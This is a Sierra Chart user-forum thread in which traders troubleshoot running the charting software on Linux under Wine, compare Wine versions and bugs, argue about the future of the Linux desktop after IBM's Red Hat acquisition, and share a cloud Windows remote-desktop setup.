One issue that has been in SC, when replaying, after the first Replay attempt, the speed pull-down menu blanks out and Replay will not work. The first attempt works fine, but I have to restart SC to get it working again.

User106072..do you see this same behavior in Ubuntu? This has been the case as long as I've been working with SC on Mint Linux. I keep hoping the next version of Wine will fix it but not yet.
Date Time Of Last Edit: 2018-07-28 14:05:44
[2018-07-29 08:17:09]
User106072 - Posts: 98 | Ending Date: 2020-08-31
User106072..do you see this same behavior in Ubuntu? This has been the case as long as I've been working with SC on Mint Linux. I keep hoping the next version of Wine will fix it but not yet.

Not happening for me. I can start/pause/stop Replay and change the speed without any problems.The speed change can be done while Replay is active or not.
Date Time Of Last Edit: 2018-07-29 08:18:07
[2018-07-29 11:22:21]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
Probably people already noticed, but for some months now, the tradewindow problem has disappeared ( closing and opening tradewindow more than once )
[2018-08-17 18:57:59]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Thanks user User106072.

Support... I know you do not yet support Linux and no need to respond. However, if you at some point review the Replay code, On Mint Linux 18-19/Wine 3.02, After running replay one time, close the menu, then try to run again, The speed box pull down is blank. Note, the first time it runs fine... it is only when you close the replay box and try to replay again.

Exiting SC and restarting SC enables it to run again.
Date Time Of Last Edit: 2018-08-17 19:00:12
imageSpeedBox.png / V - Attached On 2018-08-17 18:57:03 UTC - Size: 37.19 KB - 313 views
[2018-08-17 21:13:41]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
Gradually this is going to get resolved. But probably not for about six months from now.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2018-08-22 14:22:33]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
SC Support
it might make some sense to separate gui/client part and headless/server part
imo, it will be cool to be able to interact with cross platform server part independently for data receiving and trading using any prog lang

and gui/client part might be wine compatible waiting for a toolkit you will trust or will be able to use
[2018-10-29 00:22:23]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
https://newsroom.ibm.com/2018-10-28-IBM-To-Acquire-Red-Hat-Completely-Changing-The-Cloud-Landscape-And-Becoming-Worlds-1-Hybrid-Cloud-Provider

it looks like the end of a linux as a desktop
[2018-10-29 06:23:14]
User106072 - Posts: 98 | Ending Date: 2020-08-31
ganz this is completely a false statement :) The Linux desktop usage is measured by the kernel development, number of the desktop providers and their developments and of course the condition of the X system itself.

Redhat is just one of the distros out of the many many others.

Please follow/see these sources:

https://www.kernel.org/
https://www.slant.co/topics/343/~best-linux-desktop-environments
https://www.x.org/wiki/
https://www.techradar.com/news/best-linux-distro
[2018-10-29 06:58:47]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
User106072
Redhat is just one of the distros out of the many many others
lol

you are completely ignorant. so you better be quiet thnx.
[2018-10-29 10:36:19]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
it looks like the end of a linux as a desktop
Samsung Open-Source Group Reportedly Shuts Down

https://www.phoronix.com/scan.php?page=news_item&px=Samsung-Open-Source-Closes

Samsung OSG has contributed very heavily to the development of Wayland as well as some X.Org components, Cairo, Enlightenment EFL, the LLVM Clang compiler, GStreamer, FFmpeg, the Linux kernel, and other related code-bases that helped benefit Samsung's open-source/Linux needs across their wide portfolio of products from smart watches to refrigerators.
This may be especially hard-hitting for Wayland considering they were heavily contributing upstream and OSG employees often served as release managers.

[2018-10-29 11:03:52]
User106072 - Posts: 98 | Ending Date: 2020-08-31
lol
you are completely ignorant. so you better be quiet thnx.

Haha. You never know who you're talking to. But thank you very much for your well reasoned and constructive opinion.

But as it allways is just watch and learn.
Date Time Of Last Edit: 2018-10-29 11:10:15
[2018-10-30 02:46:14]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
User106072
1. RH was the main actor to provide gtk+ and gnome. It was accepted by industry as the main and only solution to deal with.
2. CentOS/RHEL are the only production ready LTS distro with 10 to 14 years
3. Most of linux distros are using unstable libs and progs
4. A lot of them are useing ubuntu. ubuntu had dropped unity 7/8 and near to bancruptcy
5. X Server has legacy base and has no full control to deal with. Links and info were provided here on this forum.
6. Qt5 has a lot of bugs, it's slow and heavy.
7. https://www.cnet.com/news/ibm-sells-its-x86-server-business-to-lenovo-for-2-3-billion/

No matter how many distros are presented. None of them have stable libs, stable production history and predictable future to deal with.
Redhat is just one of the distros out of the many many others.
Only some ignorant clowns are in the position to shout out all that foollness. They do nothing and know even less.
Date Time Of Last Edit: 2018-10-30 04:18:30
[2018-10-30 06:29:58]
User106072 - Posts: 98 | Ending Date: 2020-08-31
ganz
From your 1 liners I wasn't able to quess right the reasons for your opinions. But thanks to your clarifications now I think I do. So you're talking about the development support not the situation where 1 distro out of many others may disappear or change.

Yes, Redhat has been a strong contributor in the Linux industry which also have been a reason why many others have not been. Now depending on what the IBM will do in the future this new situation will possible change only the dynamics: Will there be a new strong developer or is it replaced by the numerous smaller communities.

So it is now very clear for all of us that your opinion is that there will be no more development in the desktops because IBM aquired Redhat.

This is where I disagree with you totally and say it is a false statement.

Linux desktops will not disappear. The Linux industry will patch up the situation IF the IBM will not continue what Redhat has been doing. This kind of situation would and will be a great opportunity for many others.

Just watch.

---

We are fortunate we have this great piece of software called SierraChart. It has been around a very long time. Decades. Let's hope this situation will continue and after 5 or 10 years we can come back and see which one of our opinions were right :D

Happy trading !
the Clown
Date Time Of Last Edit: 2018-10-31 05:40:25
[2018-10-30 06:39:38]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
Well maybe we will be big enough at some point, to take over some of this operating system development and do it right. We think that may come at some point.

And this is really not too much of a stretch, we already have in our active development plans and have partially started the development of voice, video, chat communication, screen sharing, and remote control functionality. All of this is going to be part of Sierra Chart.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
Date Time Of Last Edit: 2018-10-30 06:42:35
[2018-10-30 06:40:27]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
User106072
Will there be a new strong developer or is it replaced by the numerous smaller communities.
I'm in since 1993 so i'm sure it'll not happen.

The Linux industry will patch up the situation IF the IBM will not continue what Redhat has been doing.
RH was the only industrial one and this is the core of the problem.
[2018-10-30 06:42:52]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
SC Support

Yes. This will be cool to get complete Hard'n'Soft trading solution . :)
Date Time Of Last Edit: 2018-10-30 06:44:13
[2018-10-30 06:44:34]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
Okay good. And some of our new developers are Russian as well.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2018-10-30 06:48:30]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
SC Support

be careful
don't allow them to interfere of your choices

:))
Date Time Of Last Edit: 2018-10-30 06:52:18
[2018-10-30 07:16:46]
User106072 - Posts: 98 | Ending Date: 2020-08-31
ganz

I'm in since 1993 so i'm sure it'll not happen.
Well. I did a 30 year career in the system and low level programming starting from 1981. I did 3 very succesfull corporate level software business during that time. I also have been using Linux in different situations from early '90. I am now retired and the latest 7 years I've been developing and using proprietary trading systems.

So I think I also have a some kind of understanding and experience about these things.


RH was the only industrial one and this is the core of the problem.

I personally do not see this as a "problem". Companies come and go. If it was the kernel or x.org which was acquired then I would be a bit scary what will happen.

But not now.

There will be a new situation and something new will happen. But first we have to learn what the IBM is doing with it's new puppy. Then we will see how the industry will react and what then happens.

Yours
the Clown
Date Time Of Last Edit: 2018-10-30 07:28:08
[2018-10-30 07:23:53]
User106072 - Posts: 98 | Ending Date: 2020-08-31
SC support
Well maybe we will be big enough at some point, to take over some of this operating system development and do it right. We think that may come at some point.
Going to operating system level in SierraChart would change the whole thing. Big step but done properly would and will be a game changer. Definitely !
--- EDIT
Imagine you could boot directly to the trading environment tuned up for the trading only. Safe and stable environment with low latencies. What a great idea !!
Date Time Of Last Edit: 2018-10-30 07:33:54
[2018-10-30 07:31:58]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
User106072
I personally do not see this as a "problem".
Linux community are waiting for stable linux desktop to get rid of windoze for years
so this is a big problem for me and thousands of people.
[2018-10-30 07:45:02]
User106072 - Posts: 98 | Ending Date: 2020-08-31
ganz
Linux community are waiting for stable linux desktop to get rid of windoze for years
so this is a big problem for me and thousands of people
I and my buddies have had no problems for years with the stability of X so I don't know what you're talking about. Maybe Gnome or other resource eaters can have these problems but haven't liked or used those Windows wannabes ever.

And fundamentally if Redhad didn't do any help in stable linux desktops for years for you or your 1000s of people then there is no harm done if they now go :)
Date Time Of Last Edit: 2018-10-30 08:24:38
[2018-10-30 10:51:14]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
User106072
Most of your sentences are meaningless in order to get non-windows environment for SC.
So my opinion is still the same. You need to talk less.
[2018-10-30 22:31:15]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
6. Qt5 has a lot of bugs, it's slow and heavy.
Release Notes for Red Hat Enterprise Linux 7.6
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/7.6_release_notes/chap-red_hat_enterprise_linux-7.6_release_notes-deprecated_functionality
KDE has been deprecated
KDE Plasma Workspaces (KDE), which has been provided as an alternative to the default GNOME desktop environment has been deprecated.
A future major release of Red Hat Enterprise Linux will no longer support using KDE instead of the default GNOME desktop environment.

[2018-10-31 03:48:42]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
Obviously some big players like Oracle and HP are fully disappointed by this new reality. (in case it will be done)
So KDE/Qt and Mir might be repaired to the production ready state around Debian ecosystem.
[2018-10-31 03:54:43]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
if Redhad didn't do any help in stable linux desktops for years ...

it was very close with new Wayland tech and having predictable and acceptable behavior by business and community.
any new attempt takes another 3-5 years or more.
[2018-10-31 05:29:07]
User106072 - Posts: 98 | Ending Date: 2020-08-31
ganz
It would be nice to continue this "opinion debate" but I think it doesn't give any value for others. Quite meaningless I would say.

Before I will stop posting to this matter I will sum up the situation so we don't forget what was it all about:

WHen IBM recently acquired the Redhat:

a) Your opinion: Linux Desktop is Dead
b) My opinion: Linux Desktop is *NOT* dead.

Now. I hope all the best for you and HAPPY TRADING!

Yours
the Clown
Date Time Of Last Edit: 2018-11-01 07:06:58
[2018-11-03 10:15:45]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
User106072

WHen IBM recently acquired the Redhat:
a) Your opinion: Linux Desktop is Dead

There is no SC linux version.

What else?
[2018-11-03 12:33:01]
BeardPower - Posts: 40 | Ending Date: 2019-01-23 [Expired]
Hi,

It seems that we all have our glass ball we are looking into and it's all just speculation. What will happen, and why IBM was taking over RedHat, can only be answered by IBM. We find out soon enough.
Besides that, no one is hindered coming up with the next stable Linux Desktop, so why should it be dead? Systems don't sell software, but software sells systems. It's like claiming that ADA or COBOL is dead, which is neither right nor does it make much sense.

Regarding an "SC OS": I was thinking about this idea for a while now. The software and hardware landscape is transforming in the next years (thanks to the recent OOO vulnerabilities, RISC-V and other projects fostering Open Source). Many companies are implementing hard- and software from a clean slate, getting rid of legacy cruft and mistakes from the past, which finally enables different Kernel concepts like Exokernels, fast Microkernels and highly reliable and secure new Operating Systems possible. The old Commodore64/Amiga experience, which allowed you to directly "boot" into an IDE/Game/Desktop within seconds, is entirely doable. It does not help though, whining about what other companies did, do or will do. If you want things to change, act! Someone needs to get started, and I don't know why it couldn't be one of us.

Best regards,

Possibly another clown.
[2018-11-03 13:20:14]
User106072 - Posts: 98 | Ending Date: 2020-08-31
BeardPower
Regarding an "SC OS": I was thinking about this idea for a while now.... If you want things to change, act! Someone needs to get started, and I don't know why it couldn't be one of us.
I also have been thinking this scenario a lot lately. The more I think it the more it makes sense. Yes to make a bootable (docker/VM/hard) image including all the necessary components for the sierra is not a very complicated task to do but I see the support is the real question here.

I too remember very well C64/Amiga in the '80 (My first micro was Vic-20). I did many graphics demos for the Amiga because it had those amazing copper/blitter and other features well suited for gfx. But I have to say the 8088/86 XT which I purchased 1984 with the MS-DOS (or was it PC-DOS) was a fast booting OS too.

btw. wellcome to group of clowns. Clown Power !
Date Time Of Last Edit: 2018-11-03 13:26:46
[2018-11-03 15:32:42]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
Dear "group of clowns"

where is the stable, reliable and lightweight tool like winapi/gdi is?

do you know some? just point at it to inform these "silly" SC devs.

very easy.
Date Time Of Last Edit: 2018-11-03 15:35:00
[2018-11-04 15:45:48]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
Some funny graphs.

https://bugs.debian.org/release-critical/
[2018-11-04 16:02:14]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
Another part of a happy picture

https://bugs.centos.org/
Date Time Of Last Edit: 2018-11-04 16:02:22
[2018-11-11 16:20:17]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Good news!! In regards to post #53 and the replay issue I was having on wine 3.03 stable and Mint 18 and 19.

In the latest development release Wine 3.20, Crossover 18 and Wine 3.6 (Ubuntu 3.6-1), this is resolved.

At this point, I am unaware of any further compatibility issues with SC and Linux/Wine as long as CTS trading-DTC or IB Linux TWS is used.

https://www.sierrachart.com/index.php?page=doc/CTS_T4.php#SetupInstructionsForAdvancedLowCostConnectionModel
Date Time Of Last Edit: 2018-11-11 16:47:00
[2018-11-11 17:01:11]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
ertrader:

Its not about wine 3.20 only, it has been resolved for some months now, that and the tradewindow also. ( you can now open and close trade window as much as you want ).

Also , 64-bit version , in the latest versions, have the "trade activity window" fixed ( previously, it was working in 32bit but not 64bit ).

Also, latest development of not needing FREEDLL also works nicelly with reloading dll's in linux ( I had an issue where it would work perfectly ( reload dll with freedll = 1 ) in windows but not on linux ).

thus.... I have searched and searched, and I cannot find any issue with linux version as of latest SC versions ( 32bit and 64bit ).

Is anything not working that I can test ?
[2018-11-11 23:18:27]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Good to hear and thank you. As best I am aware, all is working on my system with SC 64 bit and Wine 64 bit. I also had issues with trade window activity but it is working too.

I use my own custom ACSIL so have not tested anything relating to spreadsheets. If you have experience in this area, that would be helpful for others reading this forum to know.
[2018-11-12 02:35:17]
User677924 - Posts: 24 | Ending Date: 2020-08-31
I have Arch linux running with XFCE , Plasma , LXDE desktop time to time. These desktops are fast compared to others like cinnamon,Matte or Gnome. When I fresh install through wine. Then copy the chartbook from windows 7.0 OS to linux. The whole ordering system get messed up. I have to fix the limit and stop orders on both sides buy and sell. the trade activity window never worked. Today first time looks like fixed. Performance is great.After windows 7.0 I don't see any stable windows OS around. Good time to setup Plan B such as Linux.
[2018-11-12 13:55:28]
User106072 - Posts: 98 | Ending Date: 2020-08-31
I tried the latest SierraChart in the Linux VirtualBox (5.2.20 r125813) as follows,

debian 9.6
kernel 4.9.0-8-amd64
xfce4 (4.12.3)
wine-3.0.3
sierrachart 1837 64-bit

Everything else I tried is running ok except when I Open or Close the Trade Window (attached or not) I will receive a "ConfigureTradeWindowTabs exception" into Message Log. I think I should upgrade wine to latest and see how it then goes...

Edit
And it goes well. With the wine-3.2 there is no more messages in the log.
Date Time Of Last Edit: 2018-11-12 17:52:14
[2018-11-12 14:13:45]
ertrader - Posts: 304 | Ending Date: 2020-09-21
You may want to see if wine 3.20 works for you. This is a development version that has fixes for a number of issues. I do not know when the next wine stable is being released.

When I updated from Wine 3.03 stable to Wine 3.20 development, I did have a Linux configuration error message "W: Target package is configure multiple times" when updates would run. I have seen this before with other applications and was able to get if fixed using the following link:

https://askubuntu.com/questions/760896/how-can-i-fix-apt-error-w-target-packages-is-configured-multiple-times
Date Time Of Last Edit: 2018-11-12 14:17:01
[2018-11-12 14:23:11]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
I am currently emerging wine 3.20, still on 3.19. I should have mentioned that I am using wine development versions ( 3.XX ) and not wine stable versions ( 3.0X ). So even if your distribution only has 3.19 or 3.18, it should work.

Also, to anyone interested, if you want to try wine-staging with gtk theme, it should also everything work. ( didn't catch any major usuability or performance problems )
[2018-11-12 16:00:13]
User106072 - Posts: 98 | Ending Date: 2020-08-31
ertrader
You may want to see if wine 3.20 works for you.

I updated to Wine 3.2 and the "problem" is now fixed.
[2018-11-13 07:53:57]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
User677924

These desktops are fast compared to others like cinnamon,Matte or Gnome.

use mate tweak to get rid of any animations and compositors or try comppton GPU driven

https://sites.google.com/site/easylinuxtipsproject/mint-mate-first#TOC-Install-MATE-Tweak-for-more-configuration-options
[2018-11-26 12:27:52]
BeardPower - Posts: 40 | Ending Date: 2019-01-23 [Expired]
Well maybe we will be big enough at some point, to take over some of this operating system development and do it right. We think that may come at some point.

And this is really not too much of a stretch, we already have in our active development plans and have partially started the development of voice, video, chat communication, screen sharing, and remote control functionality. All of this is going to be part of Sierra Chart.

Are you referring to adopting an existing OS or to create one from scratch?
Considering the big change in hardware (NEO, Mill, RISC-V) there are exciting times ahead where a company is able to make a dent again. There are a lot of exciting projects (Exokernel, Unikernel, Multikernel), which are, unfortunately, PoCs and of academic nature. Anyway, someone has to start, right?

Going to operating system level in SierraChart would change the whole thing. Big step but done properly would and will be a game changer. Definitely !
--- EDIT
Imagine you could boot directly to the trading environment tuned up for the trading only. Safe and stable environment with low latencies. What a great idea !!

For sure. Running on some passive cooled SBC (Single Board Computer) utilizing the FPGA which comes with it.

Another big advantage: only SC is to be blamed if things go awry, assuming they also provide SCOS (Sierra Chart OS) ;-).
Date Time Of Last Edit: 2018-11-26 13:50:15
[2018-12-06 16:53:07]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
With GCC 7.4 being the first GCC7 update since v7.3 from this past January, there are a lot of regression/bug fixes. In fact, GNU Compiler Collection developers report that more than 100 bugs have been fixed in this latest stable point release

[2018-12-07 01:00:54]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
Just in time for the end of the year, we have released Qt 5.12 LTS today. This is a long-term-supported (LTS) release that we will support for 3 years to come. We have had a strong focus on quality and fixed more than 2000 bugs since the last Qt LTS version, Qt 5.9.7 – make that over 5000 bugfixes since Qt 5.6.3. Of course, this is only the start, and we will work hard on continuously improving the quality of Qt 5.12 in upcoming patches

[2018-12-18 13:25:46]
T44 - Posts: 353 | Ending Date: 2020-09-16
User Discussion: Configuration for Linux users

As Linux is not supported on Sierra, Linux users may wish to do the following

1. Register with an Infrastructure as a Service (IaaS or “Cloud Computing”) vendor

In this example, we use Amazon. Depending on your Sierra use case, you may be able to run this free for a year in the AWS free tier.

2. Create a Compute Instance with Windows Server 2008

In AWS EC2, Instances, Launch Instance, search for ‘Windows’, and choose
Microsoft Windows Server 2008 R2 Base - ami-079c6d294ed9a73d0
Microsoft Windows 2008 R2 SP1 Datacenter edition, 64-bit architecture. [English]

Then select your desired instance type. T2.micro may be free tier eligible.

3. Follow the documentation to log in as Administrator

In AWS, you’ll need to provide (or generate) a *pem and then upload this to decrypt your password

Use your Linux package manager to install ‘rdesktop’
then run from a shell (where 2560x1600 is your desired resolution and ec2-XXXX.compute.amazonaws.com is your EC2 hostname or IP)

rdesktop -x b -z -K -u Administrator -g 2560x1600 ec2-XXXX.compute.amazonaws.com

4. Install the Desktop Experience in Windows 2008 Server

Start Server Manager.
Click Features.
Click Add Features.
On the Select Features page, select the Desktop Experience checkbox.
Review the information about other features that are required by the Desktop Experience feature, and click Add Required Features.
Follow the prompts and finish the installation.

5. Install remote desktop services on Windows 2008 Server

Log in to the RDS host as an administrator.
Start Server Manager.
Select Roles in the navigation tree.
Click Add Roles to start the Add Role wizard.
Select the role Remote Desktop Services.
On the Select Role Services page, select Remote Desktop Session Host.
On the Specify Authentication Method page, select Do not require Network Level Authentication (Linux rdesktop client can’t provide this)
On the Configure Client Experience page, select the functionality that you want to provide to users.
Follow the prompts and finish the installation.

6. Create a user for Sierra chart
Normal Windows procedure.

7. Disable Internet Explorer Enhanced Security
Search the web for instructions.

8. Connect to your Sierra chart user with rdesktop

Download and install Sierra Chart with Internet Explorer

9. Optional step

Transfer your files and settings – web based email, your own webserver, or S3 storage works well.

10. Enjoy using Sierra Chart from your Linux desktop without any compatibility issues :-)
[2018-12-20 01:38:36]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Wine 4.0 RC2 development has been released and is working great. No known issues. Expecting Wine 4.0 stable within 2-3 weeks. Wine continues to provide great support with Sierra Charts and has eliminated the need for Windows.
Date Time Of Last Edit: 2018-12-20 01:46:27
[2019-01-06 03:59:05]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
Google Devs Call Open-Source NVIDIA Driver Unstable, Nouveau Blacklisted By Chrome

[2019-01-10 02:00:41]
ertrader - Posts: 304 | Ending Date: 2020-09-21
I detected a memory leak in Wine 4.0 RC2. Updating to Wine 4.0 RC5 appears to have fixed the issue but I will be monitoring.

This issue was detected simply by using the System Monitor and watching how much ram SC was taking up over time. SC would start off with fairly reasonable memory usage (<500 meg) but then grow to consume all memory in a couple days (20 Gig).

Exiting SC and reentering solved the issue temporarily once discovered. Symptoms included complete system freeze requiring hard reboot. There was no error log created so that did not help find the issue.
Date Time Of Last Edit: 2019-01-10 02:09:06
[2019-01-12 19:56:00]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
ertrader, do you have problems with latest versions of SierraChart ?

I notice that testing with 15 loaded instruments, it has problems connecting at startup.
On contrary, no problems happen whatsoever in version 1837.

With 5 or less instruments, latests versions also connect.
[2019-01-13 07:09:05]
User75096 - Posts: 46 | Ending Date: 2021-03-08
Here the same till 1847 all is perfect, since 48 max 4 instruments,open a dashboard no chance, permanent reconnecting,
im running wine 4.0rc5
[2019-01-13 12:39:32]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
thanks User75096.

A wild guess, maybe this on the changelogs:
Increased the throughput of the network socket core within Sierra Chart. This really is only applicable when Sierra Chart is sending large amounts of data through its DTC server.

[2019-01-13 18:57:07]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Yes, I have noticed performance issues primarily with the Market depth study. It was affecting startup times that were taking longer and longer. I ended up removing it from all but one chart to gain performance back. Startup went from 3-4 minutes loading charts to less than 25 seconds. Once the charts are up, I have not seen any performance issues but my setup does not appear to have as many charts as what you describe.

I updated to Wine 4.0 RC6 (released 1/12/19) and SC V1859 over the weekend and will look for any performance issues this week.

On another note, the trading group I work with (60-70 traders) has stayed at SC V1847 32 bit Windows due to a graphics issue and we are trying to get it resolved with the programmer. My Linux system does not use the same grid study as the trading room so I have been able to keep updating. Something changed after V1847 but it is unclear and has been rather difficult to track down.
https://www.sierrachart.com/SupportBoard.php?ThreadID=39434
Date Time Of Last Edit: 2019-01-13 19:17:58
[2019-01-13 20:36:08]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
Thanks!

If I find anything new I will let you guys know. Also please do the same !
[2019-01-14 01:21:53]
User75096 - Posts: 46 | Ending Date: 2021-03-08
Jup. I stay with 1847 if there is something I new, I wool let you know, the graphic on windows is far from the the same in Linux, even 1859 and 1860 is not working for me, for performance I delete always the old market depth
[2019-01-23 13:23:07]
ertrader - Posts: 304 | Ending Date: 2020-09-21
There was a CTS log in issue this morning. It was unrelated to Linux or Wine and was resolved with an update to V1865. I have not seen any performance issues and I have added a couple instruments for testing that added 36 charts
Date Time Of Last Edit: 2019-01-23 13:23:44
[2019-01-23 16:36:10]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
One thing that I have tried, is using instances, where the server is version 1847 ( which has no problem always connecting ) and sub-instance using the latests versions.

But I don't know if there is problems using different versions. Also its not very nice, that sub-instances will use the same number of instruments as the server ( for example, I have 20 instruments on server connected, even if the sub-instance isn't using any instrument, it will still connect to those 20 and download the scid files )

Did anyone of the more experienced users of SierraChart ever tried different versions between server and instances ?
[2019-01-23 16:59:05]
User75096 - Posts: 46 | Ending Date: 2021-03-08
My style is in the moment, open server 1865, than sec. Instance, open the chart books but not connected, after downloading over Sierra connecting the 2. Instance, very suboptimal but it works
[2019-01-24 04:18:54]
ertrader - Posts: 304 | Ending Date: 2020-09-21
FYI: Wine 4.0 stable was released today. Performance is good, no issues on my system have identified at this time. Also, I don't currently use secondary instances so do not have any input on that subject for now.
[2019-03-04 18:59:56]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
I'd suggest Mint is a better choice for you initial live system. Play with arch, learn stuff. But for live use something boring like Mint :)

https://mxlinux.org/
[2019-03-12 09:22:06]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
Hey All,

Just joined the SC Linux community over the past week and have been getting to know how things work in this space. Thanks for all the contributors to this thread (esp all the clowns!) - could be my fav thread on SC forums to date!

To test it all out, initially I installed linux mint 19 on virtualbox (6 core, 8GB RAM, 128MB VRAM), mounted the Sierra chart SSD I use in windows and installed Wine 3.0 stable along with mscorefonts and all latest updates for mint. I got a basic 2 chart chartbook running pretty quickly and was shocked by the speed of the rendering and tiny latency. Cores were not maxed, so I decided to try another more intense chartbook that I use regularly on my windows install. In windows the CPU single core usage of the intensive chartbook is around 70% but it runs flawlessly. When I tried running the same chartbook on mint the single core utilisation hit 100% pretty quickly and would load a couple charts then basically stop loading at all. I'm guessing that wine and SC were sharing the same core, hence the 100% utilisation.

So, I decided to install mint again but on hardware instead of VM. Installed mint 19 onto dedicated SSD, updated drivers and recommended nvidia etc and again mounted my sierra SSD drive and ran with wine 3.0. Same issue... basic chart runs like a bat out of hell but more complex chartbooks all seem to lock up with single cpu core at 100%. I tried updating to nvidia 418x and also wine 4.0 stable, but same thing

One thing I’ve not tried is installing SC natively in linux instead of the windows drive method, is that worth trying? (was hoping to keep the windows drive setup so i can straddle both OS for a bit but will change it if it works natively)

Poking around in google I've found some threads on how 100% cpu can be caused when wine and main process share same core but surely there must be a way to tell wine to use a different core? Or maybe that's not the problem in this case, i'm not sure.

Any ideas how I can get these chartbooks to work? Any help appreciated as i'd love to switch over from shitty windoze - stat!

Oh one other issue I saw was rendering of the line type 'dash' and 'dot'. Looks like the dots are there but there're big gaps between them. The dash is just a solid line. Same with nvidia 390 and 418 drives and wine 3.0 and 4.0. Anyone know a fix for this?

Thanks
Sunny
Date Time Of Last Edit: 2019-03-12 09:35:29
[2019-03-12 09:52:14]
ticinotrader - Posts: 217 | Ending Date: 2020-09-14
Hi,
I can not comment on the first half of your questions because I do not experience these CPU issues (Mint 19.1 wine 4.3 on quite average laptops). I followed ertrader's instructions when setup my system.

For the dash/dot display issue: it is not related to win or drivers. try to select 'alternate' line type instead of dot. There was a change recently (some versions ago) in SC that affects this. Alternate line mode will give you the correct dotted lines.

Hope this helps.
regards, tt.
[2019-03-12 09:55:36]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
Thanks TT... Love your youtube vids btw :)
[2019-03-12 10:02:02]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
sunnyod
Thanks for all the contributors to this thread (esp all the clowns!) - could be my fav thread on SC forums to date!
Any help appreciated as i'd love to switch over from shitty windoze - stat!
welcome to the list

vector<Clown> Clowns;
Clowns.push_back(Clown(sunnyod));

[2019-03-13 09:45:00]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
Quick update. I've been looking into this a little more today and have found that sierra only seems to lock up on the chartbooks when CPU hits 100% on the core. I tested this by loading one of the complex chartbooks in windows, reducing the number of charts in in from 5 to 2, saving it and then running it in linux mint. The chartbook opens fine and runs great up until I zoom out fully on one of the charts. Then sierra hangs and I have to force quit it.

I've tried using 'taskset' to allocate sierra process to a specific CPU and then used 'nice' to try and stop other processes using the same CPU but that's not pushing other processes off the CPU for some reason. I don't think this would help in any case as the other non sierra processes sharing the CPU are barely using any cycles.

I also installed Sierra from scratch using wine and opened the same cut down chartbook on there but same issue, so don't think the sierra settings are to blame here.

Also worth noting is the fact that i'm using Ryzen CPU. Although, I've not found any issues like this reported online


Does anyone else have this issue if the core running the sierra process hits 100%?

Any ideas?

Thanks,
Sunny
Date Time Of Last Edit: 2019-03-13 10:09:53
[2019-03-13 10:25:21]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Hi Sunny... great to have you on SC and the forum!
I've not had any issues lately even with medium to large chart books (20-25 charts each with 8-12+ studies) running 24/7 on older hardware and loads fast. I am using an Intel CPU however with an AMD GPU.

Searching the Mint forum I did see a couple things that may possibly related.
Ensure using latest bios: https://forums.linuxmint.com/viewtopic.php?t=285701
Possible video driver issue: https://forums.linuxmint.com/viewtopic.php?t=256296

Do you have a way to test an AMD GPU? I've had both Nvidia and AMD GPU's and seem to have better stability with AMD and they are not too expensive.
Date Time Of Last Edit: 2019-03-13 10:32:20
[2019-03-13 10:41:02]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
sunnyod:

Do you have any chart that uses transparency ? especially the transparent fill top/bottom? the rectangle transparent fill is much better and usable ( I have an amd card, don't know how it handles on nvidia ).

Can you share the tricky chartbook ? especially the one that locks up with 5 charts.
[2019-03-13 12:24:05]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
